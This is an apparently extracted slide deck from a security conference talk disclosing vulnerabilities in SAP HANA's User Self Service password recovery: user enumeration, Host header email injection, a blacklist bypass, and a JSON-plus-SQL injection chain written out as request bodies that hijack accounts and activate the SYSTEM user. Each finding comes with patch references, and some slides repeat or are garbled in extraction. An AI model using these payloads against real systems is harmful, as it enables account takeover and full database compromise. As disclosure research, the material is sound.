# I forgot Your password: Pwning modern password recovery systems through JSON injections. Martín Doyhenard, Nahuel D. Sánchez **TROOPERS** 🕗 onapsis

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- Background on Penetration Testing and vulnerabilities research
- Reported vulnerabilities in diverse SAP products and components
- Authors/Contributors on diverse posts and publications
- Speakers and Trainers at Information Security Conferences
- <u>http://www.onapsis.com</u>







## Introduction







## This Talk



#### **Password recovery systems**

**Vulnerabilities & Bugs** 

## Chaining bugs for Remote full compromise

Password recovery systems



## Why target password recovery systems?

Present in almost any modern system

There isn't a good default solution<sup>1</sup>

**Underrated complexity** 

#### Vulnerabilities can have CRITICAL impact

Sources:

<sup>1</sup> https://www.owasp.org/index.php/Forgot\_Password\_Cheat\_Sheet

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#### Password recovery systems

- Existing users in the system can reset their password
- New users can obtain an account in the system
  - With administrator approval
  - Without administrator approval
- Authentication is not required
- Perform privileged actions
  - Change password
  - Create new account
  - Activate account







#### recovery alternatives



#### **Reset password to random value**

Your new password is: @!#1a05Val\$1

#### **Email reset link**

To change your password <u>click here</u>

#### **Security questions**

Your grandmother's last name is ...

Sources:

<sup>1</sup> https://www.sektioneins.de/advisories/advisory-022010-mybb-password-reset-weak-random-numbers-vulnerability.html

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#### High profile password recovery vulnerabilities

- FACEBOOK: Password recovery PIN Bruteforce<sup>1</sup>
- MICROSOFT: Password recovery token bypass<sup>2</sup>
- GOOGLE: Account recovery vulnerability<sup>3</sup>

#### Sources:

- <sup>1</sup> http://www.anandpraka.sh/2016/03/how-i-could-have-hacked-your-facebook.html
- <sup>2</sup> https://www.vulnerability-lab.com/get\_content.php?id=529
- <sup>3</sup> http://www.orenh.com/2013/11/google-account-recovery-vulnerability.html

## Playing with SAP HANA User Self Service



#### What's SAP HANA?

- in-Memory Database
- Development platform
- Support to run complex web applications
  - XS Classic (now deprecated)
  - XS Advanced
  - Support for multiple runtimes
- Heavily pushed by SAP

#### SAP HANA User Self Service

- Embedded application
- Shipped by default (disabled)
- Available from SPS09 (Last version SPS12)
  - Vulnerable from Oct 2014 Mar 2017
- Developed in XSJS
- Big attack surface
- Affected by
  - SQL injections
  - $\circ$  User enumeration
  - Header injection
  - Logic errors

#### SAP HANA User Self Service

- The unauthenticated account managing services bundled into the SAP Hana web services.
- User can
  - Request an account
  - Reset password in case the credentials are lost

SAP HANA Reset Password	SAP HANA Request Account
Enter your Username below and click Submit. An email with a link to a page where you can reset your password will be sent.	Enter Username
Enter Username	Enter Email Address
Submit	Submit







## **The Big Picture**



#### SAP HANA User Self Service

- XSJS applications requires a database user
- Application permissions on the DB will be tied to the user
- Default role used by the USS application is highly privileged
  - CREATE USER
  - ALTER USER
- Interesting design decision:
  - If a user has the required privileges to manage users it can modify even the SYSTEM user
- User and role required by the USS are created automatically during installation
- It is not possible to reset the SYSTEM user password through the USS (Without exploiting vulnerabilities)

#### SAP HANA User Self Service





- 1. Random token is generated
- 2. Token is sent to the user (Doesn't matter if the user is resetting its password or registering a new user, there is only one type of token)
- 3. User sets/resets the password
- 4. User chooses a security question and answer

#### But... How does this process work at database level?



#### SAP HANA User Self Service - SAP HANA XS Secure Storage

#### **SAP HANA XS Secure Storage**

"Application developers can create XS secure stores to store certain application data in name-value form"

- Encrypted table used for storage of sensitive data
- Implemented in XS \$.security.Store API
- For the USS token storage:
  - Key is a "random" alphanumeric string of 16 bytes.
  - Value is a JSON containing the username as the user id, and a timestamp with the creation date time.
- Security questions and answers are also stored here... Is this a Good idea?

Source: https://help.sap.com/viewer/b3ee5778bc2e4a089d3299b82ec762a7/2.0.00/en-US/7a1a582f27404567828a737fc2c2b190.html



#### SAP HANA User Self Service - Account creation / Password reset

## **Inner workings**



- Key Value pair.
- Key, a.k.a TOKEN, is an hexadecimal value of 16 bytes.
- Identifies the user by its unique username which corresponds to the email selected.
- Contains the time in which it was generated.

KEY	VALUE
287DF1291B725F6DE1E701F4D0A8E179	{"username": "sample_user", "time":"2017-01-10T19:09:33.350Z"}'



#### SAP HANA User Self Service - Account creation / Password reset



- At this moment the token was sent by email to the user
- Next steps
  - User will pick a password, a security question and a security answer



#### SAP HANA User Self Service - Account creation / Password reset









## HANA User Self Service vulnerabilities



#### SAP HANA User Self Service - User enumeration

- Abuse of the "forgot password" functionality
  - Different error messages allow attackers to guess if a user exist or not
- Depending on the configuration the enumeration can be noisy (lots of emails)

**POST** /sap/hana/xs/selfService/user/selfService.xsjs

{"username":"USER\_TO\_TEST","action":"forgotPwd"}

• Error messages if the user exists:

"{"name":"UserError","message":"No e-mail address is set for this user name; contact your system administrator"}" "{"status":"success","message":"Request for password reset is accepted; check your e-mail for more instructions"}"

• Error messages if the user doesn't exist:

{"name":"UserError","message":"Invalid username or configuration; contact your system administrator"}



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#### SAP HANA User Self Service - User enumeration

- Abuse of the "forgot password" functionality
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### **Solution**

- Implement SAP security note 2394445
- Only allow trusted host/networks to access this service
- Vulnerability fixed in SPS 11 Revision 112.07 and SPS 12 Revision 122.04
- "{"status":"success","message":"Request for password reset is accepted; check your e-mail for more instructions"}"
- Error messages if the user doesn't exist:

{"name":"UserError","message":"Invalid username or configuration; contact your system administrator"}



#### SAP HANA User Self Service - Arbitrary content injection in emails

- Each time a user is created, the administrator user will receive an email requiring the account approval (Can be configured)
- The same happens when users, once they create its account. They'll receive an email to confirm its mail address
- These emails are based on the predefined template:

Dear <USER>,

[This is an auto-generated email; do not reply.]

Thank you for submitting a request for a new SAP HANA user account.

Please click the link below to confirm your email address: http://<host>:<port>/sap/hana/xs/selfService/user/verifyAccount.html?token=<Secur ity Token>

Best Regards, User self-service. Dear USS Administrator,

[This is an auto-generated email; do not reply.]

http://<host>:<port>/sap/hana/ide/security/index.html?user=<NEW\_USERNAME> http://<host>:<port>/sap/hana/xs/selfService/admin/

Best Regards, User self-service.



#### SAP HANA User Self Service - Arbitrary content injection in emails

• The following code is used to build the administrator email:

```
function buildAndSendMailToUserAdministrator(userName, originLink) {
    ...
    var linkToSecurityApp = getClientProtocol() + "://" + $.request.headers.get("host") + "/sap/hana/ide/security/index.html?user=" + userName;
    var linkToAllUSSRequests = getClientProtocol() + "://" + $.request.headers.get("host") + "/sap/hana/xs/selfService/admin/";
    ...
```

- Attacker controls the "HOST" header, that's used later in the email templates
- Really useful for Social Engineering attacks
  - Emails will be sent by the SAP HANA server (not the attacker)
  - Emails sent to Administrator/User will contain a link to an attacker controlled website. PROFIT!



#### SAP HANA User Self Service - Arbitrary content injection

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function buildAndSendMailToUserAdministrator(userName, originLink) {



- Really useful for Social Engineering attacks
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#### SAP HANA User Self Service - Arbitrary content injection

• The following code is used to build the administrator email:

function buildAndSendMailToUserAdministrator(userName, originLink) {

## **Solution**

- SAP Published SAP Security note 2424173 addressing this issue
- Restrict access to the USS only to trusted hosts
- ▶ Fixed versions: SAP HANA DB SPS 122.07, SAP HANA DB 2.0 SPS 00 Revision 1
- Really useful for Social Engineering attacks
  - Emails will be sent by the SAP HANA server (not the attacker)
  - Emails sent to Administrator/User will contain a link to an attacker controlled website. PROFIT!



#### SAP HANA User Self Service - Blacklist bypass

- The USS allows administrators to set up blacklists to forbid user creation requests or password change requests based on:
  - E-mail addresses
  - IP addresses
  - Domain
- User IP address is obtained from "x-forwarded-for" header. An attacker CAN'T prevent his address from being included in the blacklist check, but he can add arbitrary data.

...
var clientIPAddress = \$.request.headers.get("x-forwarded-for");
...

• We've found that if an attacker includes a long string (more than 1067 chars ) in this header, his IP won't be added to the variable thus bypassing the blacklist check



#### SAP HANA User Self Service - Blacklist bypass

- The USS allows administrators to set up blacklists to forbid user creation requests or password change requests based on:
  - E-mail addresses



• But... we've found that if an attacker includes a long string (more than 1067 chars ) in this header, his IP won't be added to the variable bypassing the blacklist check



#### SAP HANA User Self Service - Blacklist bypass

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• But... we've found that if an attacker includes a long string (more than 1067 chars ) in this header, his IP won't be added to the variable bypassing the blacklist check



## Chaining bugs for full compromise

#### (JSON Injection + SQLi + Design Error = SYSTEM)



#### SAP HANA User Self Service - JSON injection

#### Account Registration, quick recap

- User confirms the email
- New Password
- New Security Question and Answer. These are stored in the Secure Storage
- When the user confirms his account the token is deleted from the Secure Storage
- A token can be used either for registration or recovery, regardless of how it was generated
- Users can register and validate their accounts (set new password and new security questions) even if the account is already registered...



#### SAP HANA User Self Service - JSON injection

#### SAP HANA

Account Security Settings

Create Password

Create Password

Repeat Password

Set Security Question

What is your favourite holiday destination?

Enter Security Answer

Save

 $\sim$ 

#### SAP HANA HANA Reset Password

Reset Password

New Password

Confirm New Password

\*What is your favourite holiday destination?

Enter Security Answer

Confirm



#### **JOHN** Request Account

#### try {

Ļ		
	SendEmail( Token.Key )	
	SecureStorage.Save( Token )	
	Token.Value = JSON.Stringify( { username: UserN	<pre>ame , time: new Date() } )</pre>
٢	Token.Key = newRandomHex().toString() $^{287DF1291B'}$	725F6DE1E701F4D0A8E178
	Database.PreparedStatement.CreateUser( UserName	, Email)





#### SAP HANA User Self Service - JSON injection

#### **SAP HANA**

Account Security Settings

Create Password

Create Password

**Repeat Password** 

Set Security Question

What is your favourite holiday destination?

 $\sim$ 

Enter Security Answer

Save





#### SAP HANA User Self Service - JSON injection

#### **HTTP POST REQUEST BODY**

"action":"savePassword"
"pwd":"<NEW\_PASSWORD>",
"confirmPwd":"<NEW\_PASSWORD>",
"securetoken":"<TOKEN\_RECEIVED\_BY\_EMAIL>",
"securityQues":"1",
"securityAns":"<NEW\_SECURITY\_ANSWER OR
PRESET\_SECURITY\_ANSWER>"

- SecurityQues: ID associated to a hard coded question.
- SecurityAns: Any string without spaces
- SecureToken: String representing the token

There isn't any validation on the Security Answer, any string is allowed, JSON included :-)

There isn't any check validating the Secure Token format (ie: length, type, and so on) :-) :-)



#### **JOHN** Validates Account

TokenVal = SecureStorage.get( SecureToken ).Value if ( TokenVal != null ){ '{"username":"JOHN","time":"...."}'

SecureStorage.delete(SecureToken) Password = Sanitize(Pwd)

UserName = TokenVal.username

JOHN

DataBase.Query( "ALTER USER " + UserName + " PASSWORD " +

#### Password )

КЕҮ	VALUE
287DF1291B725F6DE1E701F4D0A8E178	'{"username":"JOHN","time":"2018-01-10T19:09:33.350Z"}'



#### **JOHN** Validates Account

	SecureAnswer.Key = UserName + ".SECURITY_ANSWER"			
	SecureAnswer.Value = SecurityAns.toString()			
	SecureStorage.Save( SecureAnswer )			
}				
	КЕҮ			VALUE
287DF1291F	725F6DE1E701F4D0A	8E178 '	{"username":"JOHN","time":"20	18-01-10T19:09:33.350Z"}'
JOHN.SECU	URITY ANSWER		'Tony the dog'	

• Technically, there is no difference between tokens and a security question and answer





#### Hijacking user accounts through a JSON injection

#### 1) Attacker register a new user "JOHN"

#### **HTTP POST REQUEST BODY #1**

"action":"savePassword"
"pwd":"<NEW\_PASSWORD>",
"confirmPwd":"<NEW\_PASSWORD>",
"securetoken":"1234567890ABCDEF",
"securityQues":"1",

```
"securityAns":"{\"username\":\"VICTIM_USER\",\"time\
":\"2018-01-10T22:10:06.024Z\"}"
```

#### Secure Storage

KEY	VALUE
1234567890ABCDEF	{"username": "sampleUser", "time": "2018- 01-10T19:09:33:350Z"}
JOHN.security_question	1
JOHN.security_answer	`{"username":"JOHN","time":" 2018-01-10T22:10:06.024Z"}



#### Hijacking user accounts through a JSON injection

#### 2) Attacker updates his information

#### **HTTP POST REQUEST BODY #2**

"action":"savePassword>" "pwd":"<NEW\_PASSWORD>", "confirmPwd":"<NEW\_PASSWORD>", "securetoken":"JOHN.security\_answer", "securityQues":"1", "securityAns":"SecretAnswer"

# KEYVALUE1234567890ABCDEF{"username": "sampleUser",<br/>"time": "2018-01-10T19:09:33.350Z"}SAMPLEUSER.security\_question1JOHN.security\_answer{"username": "VICTIM\_USER",<br/>"time": "2018-01-<br/>10T22:10:06.024Z"}

**Secure Storage** 

Attacker used "sampleUser.security\_answer" as token! That will retrieve a JSON containing the username to change as if a valid secure token was used.





#### Hijacking user accounts through a JSON injection

2-tep attack:

- 1. Attacker injects referenceable payload into secure storage.
- 1. Attacker triggers function with payload as data.

After the payload is injected, an attacker will be able to use the validation feature, which sets new password and security settings, with an arbitrary victim user



#### SAP HANA User Self Service - unauthorized user activation

So far the attacker can hijack any existing user account. But what else is possible?

Introducing the "SYSTEM" user

- Most powerful user in SAP HANA.
- Created by default.
- Can gain privileges via some indirections to:
  - read and modify any record of the database.
  - Can read and modify Web Applications javascript source code.
- Should be deactivated right after the initial setup.

If an attacker gets control of the SYSTEM user, the SAP HANA system could be fully compromised



SAP HANA User Self Service - unauthorized user activation

## 0

#### **Recovery account / new account database inner workings**

- Most USS functions trust username variable to be secure and don't sanitize it.
- Both recover and request account systems generate SQL queries by concatenating strings with the usernames from the secure storage JSONs

```
Token = SecureStorage.get( SecureToken )

try {

Password = Sanitize( Pwd )

Database.PreparedStatement.CreateUser( UserName , Email )

UserName = Token.Value.username

.....

DataBase.Query( "ALTER USER " + UserName + " PASSWORD " +

} Catch (DBError){

return "Username already exists or is invalid"
```



}

rd)

SAP HANA User Self Service - unauthorized user activation

#### What can go wrong?

#### 1) Attacker register a new user "JOHN"

#### **HTTP POST REQUEST BODY #1**

"action":"savePassword"
"pwd":"<NEW\_PASSWORD>",
"confirmPwd":"<NEW\_PASSWORD>",
"securetoken":"1234567890ABCDEF",
"securityQues":"1",
"securityAns":"{\"username\":\"SYSTEM/\*\*/ACTIVATE
/\*\*/USER/\*\*/NOW--\",\"time\":\"2018-0110T22:10:06.024Z\"}"

#### **Secure Storage**

КЕҮ	VALUE
1234567890ABCDEF	{"username": "sampleUser", "time": "2018- 01-10T19:09:33.350Z"}
JOHN.security_question	1
JOHN.security_answer	"{\"username\":\"SYSTEM/**/AC TIVATE/**/USER/**/NOW \",\"time\":\"2018-01- 10T22:10:06.024Z\"}"

#### ALTER USER SYSTEM/\*\*/ACTIVATE/\*\*/USER/\*\*/NOW-- PASSWORD ...

## SYSTEM ACTIVATED







#### <u>JSON Injection + SQLi + Design Error = SYSTEM</u>









#### SYSTEM user is activated



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#### JSON Injection + SQLi + Design Error = SYSTEM









#### SYSTEM user has a new password!



- 1. The attacker request a new user, "sample\_user", with the request account feature.
- 2. With the received link (email), set a new password and in the security answer, inject the malicious JSON, containing the SQL Injection to activate the SYSTEM user.





1. The attacker request a new user, "sample\_user", with the request account feature.

With the received link (email) set a new password and in the security answer inject the malicious

## **Solution**

- SAP Published SAP Security note 2424173 addressing this issue
- Restrict access to the USS only to trusted hosts
- Fixed versions: SAP HANA DB SPS 122.07, SAP HANA DB 2.0 SPS 00 Revision 1



## Conclusions



#### SAP HANA User Self Service - Conclusions

• Complexity is the enemy

• Recovery features impact critical data

• Stop concatenating SQL queries!





